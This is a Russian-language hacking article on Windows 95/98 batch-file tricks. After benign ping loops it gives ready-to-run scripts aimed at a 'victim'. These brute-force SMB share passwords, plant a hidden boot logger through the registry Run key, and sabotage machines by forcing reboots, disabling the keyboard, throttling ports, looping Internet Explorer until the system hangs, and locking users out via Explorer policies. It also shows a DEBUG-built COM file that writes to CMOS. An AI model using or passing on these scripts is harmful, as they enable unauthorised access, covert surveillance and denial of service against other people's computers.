• Партнер

  • Все наверное уже давно позабыли старый добрый DOS. А ведь иногда приходится работать в условиях - когда ничего под рукой нет - тогда на помощь приходит *.BAT . Я хочу рассказать как с помощью .BAT'a можно выжить без всякого нужного софта - которым мы привыкли пользоваться.
    Весь рулез такого программирования на BAT в том , что можно наваять довольно неплохие вещи на "голом" компе с одной только Windows 95/98 (aka
    MD).

    1) Итак начнем с того, как пропинговать целую подсетку :
    @ECHO OFF
    FOR %%a IN ( 1 2 3 4 5 6 7 8 9 10 134 35 52 234 ) DO ping -a 192.168.1.%%a >>scan.log 
    В данном примере есть фиксированная подсетка 192.168.1.??? и в ней уже сканятся IP : 

    192.168.1.1 .... 192. 168.1.234
    Притом результаты сканирования будут сохранятся в scan.log

    2) А теперь рассмотрим пример, если вам надо просканировать ряд IP из разных подсетей : 
    @ECHO OFF 
    FOR %%a IN ( 192.168.5.13 www.ru 212.6.38.240 10.0.0.1 ) DO ping -a %%a 

    3) Что у этих людей на samb'e висит ( то бишь что за
    диски расшарены ): 
    @ECHO OFF
    FOR %%a IN ( 192.168.5.13 www.ru 212.6.38.240 10.0.0.1 ) DO net view \\%%a >> samba.log 
    Все что удалось раздобыть можно увидеть в samba.log 

    4) Вот если надо подобрать пароль на расшаренный диск винды, а ручками не охота.
    Смотрим, что у жертвы расшарено: 
    net view \\192.168.1.1 
    C:\WINDOWS>net view \\192.168.1.1
    Общие ресурсы компьютера \\192.168.1.1

    Сетевое имя Тип Заметки
    -------------------------------------
    C Диск My disk C
    GAMES Диск
    Команда выполнена успешно.

    @ECHO OFF
    FOR %%a IN ( PassworD dexim 6gamer6 mustdie666 ) DO net use x: \\192.168.1.1\C %%a 
    В этом случае будут перебираться все пароли которые указанны в скобках . 

    5) Ведение лога - когда загружали комп: 
    @ECHO OFF
    echo. | date | find "Тек">>boot.log
    echo. | time | find "Тек">>boot.log 

    Через find ищем слово "Текущая" - тем самым выбираем только те строки, в которых оно есть. Эти строки добавляем в autoexec.bat . А еще лучше, чтобы не нашли слежку - сделаем такой скрипт: 

    --------------Begin listing of spy.bat---------
    @ECHO OFF
    echo. | data | find "Тек">>%windir%\boot.log
    echo. | time | find "Тек">>%windir%\boot.log
    --------------End listing of spy.bat-------------- 

    Нижеследующий скрипт запускается прямо с дискетки . 
    @ECHO OFF
    COPY a:\spy.bat %windir%\
    DEL a:\spy.bat
    ECHO REGEDIT 4>%windir%\ch.reg
    ECHO [HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\ CurrentVersion\Run]>>%windir%\ch.reg
    ECHO "Logger"="%windir%\spy.bat">>%windir%\ch.reg
    %windir%\regedit.exe /L:system.dat /R:user.dat ch.reg

    Как видите скрипт прописывает в реестр в ключик Run, чтобы грузился spy.bat - и теперь при каждой загрузки не компа, а винды будет добавляться запись в boot.log. Ниже приведенные скрипты тоже можно прописывать в ключики
    Run, RunOnce, RunServises и RunServisesOnce. 

    6) Теперь можно перейти и к западлостроению . Делаем юзеру скорость на модеме (или нульмодеме) невыносимой: 
    @ECHO OFF
    mode com2: baud=110

    Таким образом, скорость на com2
    ограничивается 110 бодами . А если у жертвы нет модема , не отчаивайтесь, значит, должен быть принтер, тогда делаем так :
    @ECHO OFF
    mode lpt1:=com1:

    Таким образом все, что идет на принтер будет на мышь или что там у него стоит на com1 .

    7) А можно сделать, чтобы он вообще не загрузился в MD: 
    ECHO REGEDIT 4>%windir%\ch.reg
    ECHO [HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\Run]>>%windir%\ch.reg
    ECHO "Rebutim"="%windir%\rundll32.exe KRNL386.exe,ExitKernel">>%windir%\ch.reg
    %windir%\regedit.exe /L:system.dat /R:user.dat ch.reg

    Можно вместо "%windir%\rundll32.exe KRNL386.exe,ExitKernel" (reboot), поставить "RUNDLL32 Keyboard,Disable" пусть попробует поработать без клавы 🙂

    8) DoS на MD через IЕ : 
    @ECHO OFF
    :loop 
    %windir%\vcm\iexplore.exe http://www.xakep.ru
    goto loop

    Гарантированно , что юзеру будет не весело видеть такое . Ну путь естественно поменяйте на тот - где у вас лежит IE. Самое
    интересное, что IE запускается до тех пор, пока не будет исчерпан лимит max количества приложений. После того как юзер закроет хоть одно окно - то
    сразу же запустится еще один IE. При тестировании моя машина даже
    не успевала реагировать на нажатие Ctrl+Alt+Del . 

    9) А этот прикол шокирует почти всех LMD: 
    @ECHO OFF
    ECHO REGEDIT 4>%windir%\ch.reg
    ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer]>>%windir%\ch.reg
    ECHO "NoRun"=dword:00000001>>%windir%\ch.reg
    ECHO "NoSetFolders"=dword:00000001>>%windir%\ch.reg
    ECHO "NoFind"=dword:00000001>>%windir%\ch.reg
    ECHO "NoNetHood"=dword:00000001>>%windir%\ch.reg
    ECHO "NoDesktop"=dword:00000001>>%windir%\ch.reg
    ECHO "NoClose"=dword:00000001>>%windir%\ch.reg
    %windir%\regedit.exe /L:system.dat /R:user.dat ch.reg

    Вот описание этих фич :
    NoRun - нет пункта меню "Выполнить"
    NoSetFolders - нет "Панель управления"
    NoFind - нет "Найти"
    NoNetHood - нет "Сетевое окружение" 
    NoDesktop - нет рабочего стола 
    NoClose - нельзя закрыть винду 🙂

    Вот можно еще применить - я думаю сами разберетесь :

    [HKEY_USERS\.DEFAULT\Software\
    Microsoft\Windows\CurrentVersion\Policies\Explorer]
    "NoDriveTypeAutoRun"=hex:95,00,00,00
    "NoPrinterTabs"=dword:00000001
    "NoDeletePrinter"=dword:00000001
    "NoAddPrinter"=dword:00000001
    "NoSetFolders"=dword:00000001
    "NoSetTaskbar"=dword:00000001
    "NoSaveSettings"=dword:00000001

    [HKEY_USERS\.DEFAULT\Software\ Microsoft\Windows\CurrentVersion\Policies\Network]
    "NoNetSetup"=dword:00000001
    "NoNetSetupIDPage"=dword:00000001
    "NoNetSetupSecurityPage"=dword:00000001
    "NoFileSharingControl"=dword:00000001
    "NoPrintSharingControl"=dword:00000001
    "NoEntireNetwork"=dword:00000001

    [HKEY_USERS\.DEFAULT\Software\ Microsoft\Windows\CurrentVersion\Policies\System]
    "NoDispCPL"=dword:00000001
    "NoDispBackgroundPage"=dword:00000001
    "NoDispScrSavPage"=dword:00000001
    "NoDispAppearancePage"=dword:00000001
    "NoDispSettingsPage"=dword:00000001
    "NoSecCPL"=dword:00000001
    "NoPwdPage"=dword:00000001
    "NoAdminPage"=dword:00000001
    "NoProfilePage"=dword:00000001
    "NoDevMgrPage"=dword:00000001
    "NoConfigPage"=dword:00000001
    "NoFileSysPage"=dword:00000001
    "NoVirtMemPage"=dword:00000001

    10) В BAT можно и COM запихнуть :
    Для начала наваяем какую-нибудь прогу на ASM'е :

    model tiny
    .code
    Begin:
    mov al,0ah ;адрес статуса диска
    out 70h,al ;засылаем аддрес
    nop ;задержка - нужна обязательно
    mov al,1 ;активизируем флоп
    out 71h,al ;засылаем
    nop ;ЧАСТЬ ВТОРАЯ
    mov al,10h ;адрес типа диска
    out 70h,al ;засылаем адресок
    nop ;задержка
    mov al,07h ;тип дисковода 1.44Mb
    out 71h,al ;засылаем
    End Begin

    Прога включает дисковод в обход BIOS'а ( выбрана "от фени" для примера ). После ее
    скомпилим tasm'ом : 
    tasm prog.asm
    tlink prog.obj /t

    И после этого в каком-нибудь HEX редакторе посмотрим HEX код этой проги и запихнем его в prog.txt 
    nPROG.COM
    a100
    db B0,0A,E6,70,90,B0,01,E6,71,90,B0,10
    db E6,71 
    w
    Q

    Дальше ваяем BAT : 
    @ECHO OFF
    DEBUG.EXE < PROG.TXT
    PROG.COM

    Все команды , что были в PROG.TXT передадутся в DEBUG.EXE - он создаст PROG.COM потом мы его запускаем.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии